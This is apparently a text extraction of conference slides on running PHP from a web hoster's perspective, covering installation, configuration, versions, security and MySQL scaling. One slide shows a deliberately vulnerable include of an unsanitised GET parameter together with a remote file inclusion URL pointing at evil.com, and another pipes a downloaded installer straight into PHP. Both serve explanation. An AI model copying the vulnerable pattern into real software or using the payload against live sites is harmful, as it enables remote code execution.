SlideShare a Scribd company logo
1 of 74
PHP	
  through	
  the	
  eyes	
  of	
  a	
  hoster




Thijs	
  Feryn
Support	
  manager
+32	
  (0)9	
  218	
  79	
  06
thijs@combellgroup.com
About	
  me




 I’m	
  the	
  support	
  manager	
  at	
  Combell
About	
  me




 I’m	
  a	
  board	
  member	
  at	
  PHPBenelux
About	
  me


Modest	
  contribu=ons	
  to:
I	
  live	
  in	
  the	
  wonderful	
  city	
  of	
  Bruges
      MPBecker	
  -­‐	
  Bruges	
  by	
  Night	
  hKp://www.flickr.com/photos/galverson2/3715965933
Follow	
  me	
  on	
  TwiKer:	
  @ThijsFeryn

Rate	
  my	
  talk:	
  hKp://joind.in/1541

Read	
  my	
  blog:	
  hKp://blog.feryn.eu
Chapter	
  I	
  :	
  The	
  hoster,	
  a	
  genuine	
  stakeholder	
  in	
  the	
  
PHP	
  universe
Stakeholders

     Customer                     Development	
  company

  Endusers     MGMT       Devs        MGMT     Design         PM



  Internal     Internal
     IT          PM       Sales        QA      Systeam     Consultants




                 Hoster       PHP	
  community
Stakeholders


               Somewhere	
  along	
  the	
  road	
  ...




               Your	
  app	
  needs	
  to	
  be	
  hosted
Goals	
  &	
  mo]ves

 Our	
  goals	
  &	
  mo=ves	
  are	
  the	
  same	
  as	
  yours:
 • It	
  has	
  to	
  work
 • It	
  has	
  to	
  perform
 • It	
  has	
  to	
  scale
 • It	
  has	
  to	
  be	
  secure
 • It	
  has	
  to	
  be	
  available
Chapter	
  II:	
  Installa]on	
  &	
  configura]on
Installing	
  from	
  source

server$	
  ./configure	
  -­‐-­‐prefix=/usr/local/php-­‐5.2.10	
  
-­‐-­‐with-­‐apxs2=/usr/local/httpd-­‐2.2.12/bin/apxs	
  -­‐-­‐
with-­‐zlib	
  -­‐-­‐with-­‐curl	
  -­‐-­‐with-­‐gd	
  -­‐-­‐enable-­‐mbstring	
  
-­‐-­‐with-­‐mysql	
  -­‐-­‐with-­‐mysqli	
  -­‐-­‐enable-­‐pcntl	
  -­‐-­‐with-­‐
pdo-­‐mysql	
  -­‐-­‐with-­‐readline	
  -­‐-­‐enable-­‐soap	
  -­‐-­‐with-­‐xsl	
  
-­‐-­‐with-­‐mcrypt	
  -­‐-­‐with-­‐mssql	
  -­‐-­‐with-­‐snmp	
  -­‐-­‐with-­‐imap	
  
-­‐-­‐with-­‐kerberos	
  -­‐-­‐with-­‐imap-­‐ssl	
  -­‐-­‐with-­‐config-­‐
file-­‐path=/etc/php5/	
  -­‐-­‐enable-­‐sockets	
  -­‐-­‐with-­‐
freetype-­‐dir	
  -­‐-­‐with-­‐openssl	
  

server$	
  make

server$	
  make	
  install
Installing	
  using	
  a	
  package	
  manager	
  (APT/Ap]tude)

Install	
  PHP:
  server$	
  apt-­‐get	
  install	
  php5


Install	
  MySQL	
  library	
  for	
  PHP:

  server$	
  apt-­‐get	
  install	
  php5-­‐mysql
SAPI	
  ...	
  schmapi

                             Mod_php                  FastCGI                    CLI


        Web              Apache	
  module            gateway                      -­‐


      Process            Apache	
  process            php-­‐cgi                 php


  Configura=on            Apache	
  conf	
  files      wrapper                on	
  the	
  fly


                                                  shell	
  user	
  or	
  
        User               Apache	
  user                                   shell	
  user
                                                  suexec	
  user
FastCGI

Example	
  config:
• Apache	
  handler
   	
  	
  <IfModule	
  mod_fcgid.c>
   	
  	
  	
  	
  SuexecUserGroup	
  dev	
  dev
   	
  	
  	
  	
  PHP_Fix_Pathinfo_Enable	
  1
   	
  	
  	
  	
  <Directory	
  /var/www/dev/www/>
   	
  	
  	
  	
  	
  	
  Options	
  +ExecCGI
   	
  	
  	
  	
  	
  	
  AllowOverride	
  All
   	
  	
  	
  	
  	
  	
  AddHandler	
  fcgid-­‐script	
  .php
   	
  	
  	
  	
  	
  	
  FCGIWrapper	
  /var/www/dev/etc/fcgi.wrapper	
  .php
   	
  	
  	
  	
  	
  	
  Order	
  allow,deny
   	
  	
  	
  	
  	
  	
  Allow	
  from	
  all
   	
  	
  	
  	
  </Directory>
   	
  	
  </IfModule>
FastCGI

Example	
  config:
• Wrapper	
  script
    #!/bin/sh
    PHPRC=/usr/local/php-­‐5.3.1/etc
    export	
  PHPRC
    export	
  PHP_FCGI_MAX_REQUESTS=5000
    export	
  PHP_FCGI_CHILDREN=8
    exec	
  /usr/local/php-­‐5.3.1/bin/php-­‐cgi
INI	
  se`ngs:	
  tales	
  of	
  good	
  &	
  evil
INI	
  se`ngs:	
  tales	
  of	
  good	
  &	
  evil

Defining	
  INI	
  seRngs:
• Php.ini
• Ini_set()
• “-­‐d”	
  
• php_value
• php_flag
• php_admin_value
• php_admin_flag
INI	
  se`ngs:	
  tales	
  of	
  good	
  &	
  evil

Memory_limit:


    Fatal	
  error:	
  Allowed	
  memory	
  size	
  of	
  16777216	
  
    bytes	
  exhausted	
  (tried	
  to	
  allocate	
  35	
  bytes)
INI	
  se`ngs:	
  tales	
  of	
  good	
  &	
  evil

Safe_mode	
  &	
  Open_basedir:

 <IfModule	
  mod_php5.c>
 	
  	
  	
  	
  php_admin_flag	
  engine	
  on
 	
  	
  	
  	
  php_admin_flag	
  safe_mode	
  off
 	
  	
  	
  	
  php_admin_value	
  open_basedir	
  "/var/www/vhosts/
 website.com/httpdocs:/tmp"
 </IfModule>
INI	
  se`ngs:	
  tales	
  of	
  good	
  &	
  evil

Allow_url_fopen:

                    <?php
                    $lang= $_GET['lang'];
                    require("$lang.php");


http://domain.ext/index.php?lang=http://evil.com/hack.txt?
Chapter	
  III:	
  Versions	
  &	
  features
PHP	
  4:	
  End	
  of	
  life,	
  but	
  far	
  from	
  dead
PHP	
  4:	
  End	
  of	
  life,	
  but	
  far	
  from	
  dead




 Parse	
  error:	
  syntax	
  error,	
  unexpected	
  T_STRING,	
  
 expecting	
  T_OLD_FUNCTION	
  or	
  T_FUNCTION	
  or	
  T_VAR	
  
 or	
  '}'	
  in	
  test.php	
  on	
  line	
  4
Developers	
  love	
  bling	
  bling
It	
  HAS	
  to	
  be	
  PHP	
  5.3.2	
  !!!
I	
  need	
  ALL	
  PHP	
  extension	
  !!!
I	
  use	
  ALL	
  PHP	
  features	
  !!!
Fruit	
  &	
  vegetables:	
  PEAR	
  &	
  PECL
Fruit	
  &	
  vegetables:	
  PEAR	
  &	
  PECL

PEAR
PHP	
  Extension	
  and	
  Applica=on	
  Repository	
  (h#p//pear.php.net)

 server$	
  lynx	
  -­‐source	
  http://pear.php.net/go-­‐pear	
  |	
  php

 server$	
  pear	
  install	
  date
Fruit	
  &	
  vegetables:	
  PEAR	
  &	
  PECL

PECL	
  (pickle)
PHP	
  Extension	
  Community	
  Library	
  (h#p//pecl.php.net)




          server$	
  pecl	
  install	
  pecl_http
External	
  frameworks


     Popular	
  frameworks	
  outside	
  the	
  PHP	
  project
Chapter	
  IV:	
  PHP	
  aKracts	
  a	
  crowd
It’s	
  easy	
  !
That	
  easy	
  !




                    <?php
                    echo "Hello world!";
It’s	
  cheap	
  !
It’s	
  stable	
  !
Everyone	
  can	
  be	
  a	
  PHP	
  developer
But	
  not	
  everyone	
  has	
  what	
  it	
  takes
Luckily	
  there’s	
  a	
  lot	
  ready-­‐to-­‐use	
  PHP	
  so_ware	
  out	
  there
Who	
  you	
  gonna	
  call	
  ?
But	
  when	
  helpers	
  need	
  help	
  ...
They	
  reach	
  out	
  to	
  the	
  PHP	
  community

                                                  User	
  Group	
  mee=ngs




             Twiaer                                            Blogs
                                                    Forums
                        PHP.net



                       IRC                     Conferences
Chapter	
  V:	
  Here	
  be	
  phpirates
Here	
  be	
  phpirates
Fact




 “The	
  majority	
  of	
  hacking/absue	
  cases	
  are	
  PHP	
  related”
False	
  assump]ons

                                           “Open	
  source	
  is	
  evil”




“PHP	
  has	
  lots	
  of	
  security	
  vulnerabili=es	
  and	
  is	
  not	
  mature”
Here	
  be	
  phpirates



The	
  real	
  issues
• Quality	
  of	
  the	
  code
• Network	
  &	
  server	
  security
• PHP	
  version	
  &	
  configura=on
Responsibili]es
Chapter	
  VI:	
  Scalability
Performance	
  ==	
  speed
Scalability	
  ==	
  constant	
  speed	
  under	
  increasing	
  load
Scaling	
  up
Scaling	
  out
Developers	
  (some2mes)	
  forget	
  ...
Scaling	
  MySQL
mysql>	
  explain	
  SELECT	
  field1,	
  (SELECT	
  COUNT(*)	
  FROM	
  table2	
  WHERE	
  field3	
  =	
  
table1.id)	
  FROM	
  table1	
  WHERE	
  field2	
  =	
  1	
  	
  ORDER	
  BY	
  field4	
  DESC	
  limit	
  
12,12;

***************************	
  1.	
  row	
  ***************************
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  id:	
  1
	
  	
  select_type:	
  PRIMARY
	
  	
  	
  	
  	
  	
  	
  	
  table:	
  table1
	
  	
  	
  	
  	
  	
  	
  	
  	
  type:	
  ALL
possible_keys:	
  approved
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  key:	
  approved
	
  	
  	
  	
  	
  	
  key_len:	
  NULL
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  ref:	
  NULL
	
  	
  	
  	
  	
  	
  	
  	
  	
  rows:	
  3143
	
  	
  	
  	
  	
  	
  	
  	
  Extra:	
  Using	
  where;	
  Using	
  filesort
***************************	
  2.	
  row	
  ***************************
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  id:	
  2
	
  	
  select_type:	
  DEPENDENT	
  SUBQUERY
	
  	
  	
  	
  	
  	
  	
  	
  table:	
  table2
	
  	
  	
  	
  	
  	
  	
  	
  	
  type:	
  ALL
possible_keys:	
  NULL
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  key:	
  NULL
	
  	
  	
  	
  	
  	
  key_len:	
  NULL
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  ref:	
  NULL
	
  	
  	
  	
  	
  	
  	
  	
  	
  rows:	
  1005
	
  	
  	
  	
  	
  	
  	
  	
  Extra:	
  Using	
  where
mysql>	
  show	
  processlist;
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+
|	
  Id	
  	
  	
  	
  |	
  User	
  |	
  Host	
  	
  	
  	
  	
  	
  |	
  db	
  |	
  Command	
  |	
  Time	
  |	
  State	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  Info	
  	
  	
  
                                                                                                                                                                                                           	
  
|
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+
|	
  63515	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Query	
  	
  	
  |	
  	
  	
  	
  0	
  |	
  NULL	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  show	
  
processlist	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |
|	
  81763	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Sleep	
  	
  	
  |	
  	
  105	
  |	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  NULL	
  	
  	
  
                                                                                                                                                                                                           	
  
|
|	
  85187	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Query	
  	
  	
  |	
  	
  	
  	
  0	
  |	
  Sending	
  data	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  SELECT	
  
data	
  from	
  someTable	
  where	
  field	
  =	
  'val'	
  	
  |
|	
  82701	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Query	
  	
  	
  |	
  	
  	
  	
  0	
  |	
  Copying	
  to	
  tmp	
  table	
  |	
  SELECT	
  
data	
  from	
  someTable	
  where	
  field='val2'	
  	
  	
  |
|	
  82709	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Query	
  	
  	
  |	
  	
  	
  	
  0	
  |	
  Sorting	
  result	
  	
  	
  	
  	
  	
  	
  |	
  SELECT	
  
data	
  from	
  someTable	
  where	
  order	
  by	
  field	
  |
|	
  82716	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Query	
  	
  	
  |	
  	
  	
  	
  0	
  |	
  Opening	
  tables	
  	
  	
  	
  	
  	
  	
  |	
  SELECT	
  
data	
  from	
  someOtherTable	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+
Scaling	
  MySQL	
  with	
  replica]on
PHP	
  scalability	
  toolbox
Memcached
Gearman
Varnish
Summary
Summary

1.Hosters	
  are	
  a	
  genuine	
  stakeholder	
  in	
  the	
  PHP	
  universe
2.PHP	
  is	
  highly	
  flexible	
  &	
  configurable.	
  Hosters	
  have	
  to	
  ensure	
  a	
  decent	
  
  setup
3.PHP	
  has	
  a	
  lot	
  to	
  offer	
  feature-­‐wise
4.PHP	
  aDracts	
  a	
  crowd	
  and	
  brings	
  a	
  lot	
  of	
  people	
  together	
  from	
  
  different	
  industries	
  (e.g.	
  hosters)
5.Lots	
  of	
  abuse	
  cases	
  are	
  PHP	
  related,	
  but	
  that’s	
  not	
  the	
  fault	
  of	
  PHP	
  
  itself
6.PHP	
  itself	
  doesn’t	
  scale	
  *that*	
  well,	
  but	
  is	
  flexible	
  enough	
  to	
  ensure	
  
  scalability	
  via	
  extra	
  tools
Q&A
Php through the eyes of a hoster

More Related Content

What's hot

Site Performance - From Pinto to Ferrari
Site Performance - From Pinto to FerrariSite Performance - From Pinto to Ferrari
Site Performance - From Pinto to FerrariJoseph Scott
 
php & performance
 php & performance php & performance
php & performancesimon8410
 
Streams, sockets and filters oh my!
Streams, sockets and filters oh my!Streams, sockets and filters oh my!
Streams, sockets and filters oh my!Elizabeth Smith
 
Php 7 hhvm and co
Php 7 hhvm and coPhp 7 hhvm and co
Php 7 hhvm and coPierre Joye
 
Php7 extensions workshop
Php7 extensions workshopPhp7 extensions workshop
Php7 extensions workshopjulien pauli
 
Understanding PHP objects
Understanding PHP objectsUnderstanding PHP objects
Understanding PHP objectsjulien pauli
 
Developing cacheable PHP applications - Confoo 2018
Developing cacheable PHP applications - Confoo 2018Developing cacheable PHP applications - Confoo 2018
Developing cacheable PHP applications - Confoo 2018Thijs Feryn
 
Writing and using php streams and sockets
Writing and using php streams and socketsWriting and using php streams and sockets
Writing and using php streams and socketsElizabeth Smith
 
Profiling php5 to php7
Profiling php5 to php7Profiling php5 to php7
Profiling php5 to php7julien pauli
 
Bringing modern PHP development to IBM i (ZendCon 2016)
Bringing modern PHP development to IBM i (ZendCon 2016)Bringing modern PHP development to IBM i (ZendCon 2016)
Bringing modern PHP development to IBM i (ZendCon 2016)James Titcumb
 
PHP 7 performances from PHP 5
PHP 7 performances from PHP 5PHP 7 performances from PHP 5
PHP 7 performances from PHP 5julien pauli
 
Php extensions workshop
Php extensions workshopPhp extensions workshop
Php extensions workshopjulien pauli
 
HipHop VM: overclocking Symfony
HipHop VM: overclocking SymfonyHipHop VM: overclocking Symfony
HipHop VM: overclocking SymfonyVadim Borodavko
 

What's hot (20)

Site Performance - From Pinto to Ferrari
Site Performance - From Pinto to FerrariSite Performance - From Pinto to Ferrari
Site Performance - From Pinto to Ferrari
 
php & performance
 php & performance php & performance
php & performance
 
Php’s guts
Php’s gutsPhp’s guts
Php’s guts
 
Streams, sockets and filters oh my!
Streams, sockets and filters oh my!Streams, sockets and filters oh my!
Streams, sockets and filters oh my!
 
Composer
ComposerComposer
Composer
 
Php 7 hhvm and co
Php 7 hhvm and coPhp 7 hhvm and co
Php 7 hhvm and co
 
Php version 5
Php version 5Php version 5
Php version 5
 
Php7 extensions workshop
Php7 extensions workshopPhp7 extensions workshop
Php7 extensions workshop
 
Understanding PHP objects
Understanding PHP objectsUnderstanding PHP objects
Understanding PHP objects
 
Developing cacheable PHP applications - Confoo 2018
Developing cacheable PHP applications - Confoo 2018Developing cacheable PHP applications - Confoo 2018
Developing cacheable PHP applications - Confoo 2018
 
Spl in the wild
Spl in the wildSpl in the wild
Spl in the wild
 
Writing and using php streams and sockets
Writing and using php streams and socketsWriting and using php streams and sockets
Writing and using php streams and sockets
 
Profiling php5 to php7
Profiling php5 to php7Profiling php5 to php7
Profiling php5 to php7
 
Bringing modern PHP development to IBM i (ZendCon 2016)
Bringing modern PHP development to IBM i (ZendCon 2016)Bringing modern PHP development to IBM i (ZendCon 2016)
Bringing modern PHP development to IBM i (ZendCon 2016)
 
PHP 7 performances from PHP 5
PHP 7 performances from PHP 5PHP 7 performances from PHP 5
PHP 7 performances from PHP 5
 
Hacking with hhvm
Hacking with hhvmHacking with hhvm
Hacking with hhvm
 
Building Custom PHP Extensions
Building Custom PHP ExtensionsBuilding Custom PHP Extensions
Building Custom PHP Extensions
 
Php extensions workshop
Php extensions workshopPhp extensions workshop
Php extensions workshop
 
Php go vrooom!
Php go vrooom!Php go vrooom!
Php go vrooom!
 
HipHop VM: overclocking Symfony
HipHop VM: overclocking SymfonyHipHop VM: overclocking Symfony
HipHop VM: overclocking Symfony
 

Viewers also liked

things in nature
things in naturethings in nature
things in natureMrs. McCabe
 
Safe and Secure Social Media Habits
Safe and Secure Social Media HabitsSafe and Secure Social Media Habits
Safe and Secure Social Media HabitsEvo Terra
 
Luxury Complex
Luxury ComplexLuxury Complex
Luxury ComplexJulie Kim
 
Spring 5.1 Words of Encouragement
Spring 5.1 Words of EncouragementSpring 5.1 Words of Encouragement
Spring 5.1 Words of Encouragementchrissienehrenberg
 
Avaluació i Diversitat
Avaluació i DiversitatAvaluació i Diversitat
Avaluació i DiversitatNuria Alart
 
Greenland Prpoerty Mgt
Greenland Prpoerty MgtGreenland Prpoerty Mgt
Greenland Prpoerty MgtJulie Kim
 
Weird Time - Ignite Phoenix
Weird Time - Ignite PhoenixWeird Time - Ignite Phoenix
Weird Time - Ignite PhoenixEvo Terra
 
Educazione secondo Joanna de Angelis
Educazione secondo Joanna de AngelisEducazione secondo Joanna de Angelis
Educazione secondo Joanna de AngelisArlete Laenzlinger
 
Contemporary Impressionist Landscapes
Contemporary Impressionist LandscapesContemporary Impressionist Landscapes
Contemporary Impressionist LandscapesJan Blencowe
 
Love Again, Or Never Love
Love Again, Or Never LoveLove Again, Or Never Love
Love Again, Or Never LoveMrs. McCabe
 
Entrepreneurship In Corporations
Entrepreneurship In CorporationsEntrepreneurship In Corporations
Entrepreneurship In CorporationsSonny Navaratnam
 
Zo maakt u klanten via Internet en Sociale Media 2011-10-18 Deel 2
Zo maakt u klanten via Internet en Sociale Media 2011-10-18 Deel 2Zo maakt u klanten via Internet en Sociale Media 2011-10-18 Deel 2
Zo maakt u klanten via Internet en Sociale Media 2011-10-18 Deel 2Combell NV
 
Taking notes on_research_sources
Taking notes on_research_sourcesTaking notes on_research_sources
Taking notes on_research_sourceschrissienehrenberg
 
HET BELANG VAN DE EVANGELISATIE VOOR DE TOEKOMST VAN DE MENSHEID-N
HET BELANG VAN DE EVANGELISATIE VOOR DE TOEKOMST VAN DE MENSHEID-NHET BELANG VAN DE EVANGELISATIE VOOR DE TOEKOMST VAN DE MENSHEID-N
HET BELANG VAN DE EVANGELISATIE VOOR DE TOEKOMST VAN DE MENSHEID-NArlete Laenzlinger
 

Viewers also liked (20)

things in nature
things in naturethings in nature
things in nature
 
Safe and Secure Social Media Habits
Safe and Secure Social Media HabitsSafe and Secure Social Media Habits
Safe and Secure Social Media Habits
 
King And Tub
King And TubKing And Tub
King And Tub
 
Luxury Complex
Luxury ComplexLuxury Complex
Luxury Complex
 
Spring 5.1 Words of Encouragement
Spring 5.1 Words of EncouragementSpring 5.1 Words of Encouragement
Spring 5.1 Words of Encouragement
 
Avaluació i Diversitat
Avaluació i DiversitatAvaluació i Diversitat
Avaluació i Diversitat
 
Kepler04012010
Kepler04012010Kepler04012010
Kepler04012010
 
Greenland Prpoerty Mgt
Greenland Prpoerty MgtGreenland Prpoerty Mgt
Greenland Prpoerty Mgt
 
Key terms novel unit
Key terms novel unitKey terms novel unit
Key terms novel unit
 
Weird Time - Ignite Phoenix
Weird Time - Ignite PhoenixWeird Time - Ignite Phoenix
Weird Time - Ignite Phoenix
 
Educazione secondo Joanna de Angelis
Educazione secondo Joanna de AngelisEducazione secondo Joanna de Angelis
Educazione secondo Joanna de Angelis
 
The Word
The WordThe Word
The Word
 
Contemporary Impressionist Landscapes
Contemporary Impressionist LandscapesContemporary Impressionist Landscapes
Contemporary Impressionist Landscapes
 
Love Again, Or Never Love
Love Again, Or Never LoveLove Again, Or Never Love
Love Again, Or Never Love
 
Entrepreneurship In Corporations
Entrepreneurship In CorporationsEntrepreneurship In Corporations
Entrepreneurship In Corporations
 
Zo maakt u klanten via Internet en Sociale Media 2011-10-18 Deel 2
Zo maakt u klanten via Internet en Sociale Media 2011-10-18 Deel 2Zo maakt u klanten via Internet en Sociale Media 2011-10-18 Deel 2
Zo maakt u klanten via Internet en Sociale Media 2011-10-18 Deel 2
 
Taking notes on_research_sources
Taking notes on_research_sourcesTaking notes on_research_sources
Taking notes on_research_sources
 
Putfoot Rally
Putfoot RallyPutfoot Rally
Putfoot Rally
 
HET BELANG VAN DE EVANGELISATIE VOOR DE TOEKOMST VAN DE MENSHEID-N
HET BELANG VAN DE EVANGELISATIE VOOR DE TOEKOMST VAN DE MENSHEID-NHET BELANG VAN DE EVANGELISATIE VOOR DE TOEKOMST VAN DE MENSHEID-N
HET BELANG VAN DE EVANGELISATIE VOOR DE TOEKOMST VAN DE MENSHEID-N
 
Carolines Presentaion
Carolines PresentaionCarolines Presentaion
Carolines Presentaion
 

Similar to Php through the eyes of a hoster

Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11Combell NV
 
Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10Combell NV
 
Php through the eyes of a hoster pbc10
Php through the eyes of a hoster pbc10Php through the eyes of a hoster pbc10
Php through the eyes of a hoster pbc10Combell NV
 
Orange@php conf
Orange@php confOrange@php conf
Orange@php confHash Lin
 
Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧Orange Tsai
 
Effizientere WordPress-Plugin-Entwicklung mit Softwaretests
Effizientere WordPress-Plugin-Entwicklung mit SoftwaretestsEffizientere WordPress-Plugin-Entwicklung mit Softwaretests
Effizientere WordPress-Plugin-Entwicklung mit SoftwaretestsDECK36
 
Is your code ready for PHP 7 ?
Is your code ready for PHP 7 ?Is your code ready for PHP 7 ?
Is your code ready for PHP 7 ?Wim Godden
 
PHP QA Tools
PHP QA ToolsPHP QA Tools
PHP QA Toolsrjsmelo
 
Why we choose Symfony2
Why we choose Symfony2Why we choose Symfony2
Why we choose Symfony2Merixstudio
 
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangPractical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangLyon Yang
 
Comment améliorer le quotidien des Développeurs PHP ?
Comment améliorer le quotidien des Développeurs PHP ?Comment améliorer le quotidien des Développeurs PHP ?
Comment améliorer le quotidien des Développeurs PHP ?AFUP_Limoges
 
Art of Web Backdoor - Pichaya Morimoto
Art of Web Backdoor - Pichaya MorimotoArt of Web Backdoor - Pichaya Morimoto
Art of Web Backdoor - Pichaya MorimotoPichaya Morimoto
 
Automatic testing and quality assurance for WordPress plugins and themes
Automatic testing and quality assurance for WordPress plugins and themesAutomatic testing and quality assurance for WordPress plugins and themes
Automatic testing and quality assurance for WordPress plugins and themesOtto Kekäläinen
 
Converting Your Dev Environment to a Docker Stack - Cascadia
Converting Your Dev Environment to a Docker Stack - CascadiaConverting Your Dev Environment to a Docker Stack - Cascadia
Converting Your Dev Environment to a Docker Stack - CascadiaDana Luther
 
2013 - Dustin whittle - Escalando PHP en la vida real
2013 - Dustin whittle - Escalando PHP en la vida real2013 - Dustin whittle - Escalando PHP en la vida real
2013 - Dustin whittle - Escalando PHP en la vida realPHP Conference Argentina
 
Converting Your Dev Environment to a Docker Stack - php[world]
Converting Your Dev Environment to a Docker Stack - php[world]Converting Your Dev Environment to a Docker Stack - php[world]
Converting Your Dev Environment to a Docker Stack - php[world]Dana Luther
 

Similar to Php through the eyes of a hoster (20)

Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11
 
Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10
 
Php through the eyes of a hoster pbc10
Php through the eyes of a hoster pbc10Php through the eyes of a hoster pbc10
Php through the eyes of a hoster pbc10
 
Orange@php conf
Orange@php confOrange@php conf
Orange@php conf
 
Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧
 
PHP selber bauen
PHP selber bauenPHP selber bauen
PHP selber bauen
 
Effizientere WordPress-Plugin-Entwicklung mit Softwaretests
Effizientere WordPress-Plugin-Entwicklung mit SoftwaretestsEffizientere WordPress-Plugin-Entwicklung mit Softwaretests
Effizientere WordPress-Plugin-Entwicklung mit Softwaretests
 
Is your code ready for PHP 7 ?
Is your code ready for PHP 7 ?Is your code ready for PHP 7 ?
Is your code ready for PHP 7 ?
 
PHP QA Tools
PHP QA ToolsPHP QA Tools
PHP QA Tools
 
Running php on nginx
Running php on nginxRunning php on nginx
Running php on nginx
 
Why we choose Symfony2
Why we choose Symfony2Why we choose Symfony2
Why we choose Symfony2
 
Running PHP on Nginx
Running PHP on NginxRunning PHP on Nginx
Running PHP on Nginx
 
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangPractical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
 
Comment améliorer le quotidien des Développeurs PHP ?
Comment améliorer le quotidien des Développeurs PHP ?Comment améliorer le quotidien des Développeurs PHP ?
Comment améliorer le quotidien des Développeurs PHP ?
 
Php extensions
Php extensionsPhp extensions
Php extensions
 
Art of Web Backdoor - Pichaya Morimoto
Art of Web Backdoor - Pichaya MorimotoArt of Web Backdoor - Pichaya Morimoto
Art of Web Backdoor - Pichaya Morimoto
 
Automatic testing and quality assurance for WordPress plugins and themes
Automatic testing and quality assurance for WordPress plugins and themesAutomatic testing and quality assurance for WordPress plugins and themes
Automatic testing and quality assurance for WordPress plugins and themes
 
Converting Your Dev Environment to a Docker Stack - Cascadia
Converting Your Dev Environment to a Docker Stack - CascadiaConverting Your Dev Environment to a Docker Stack - Cascadia
Converting Your Dev Environment to a Docker Stack - Cascadia
 
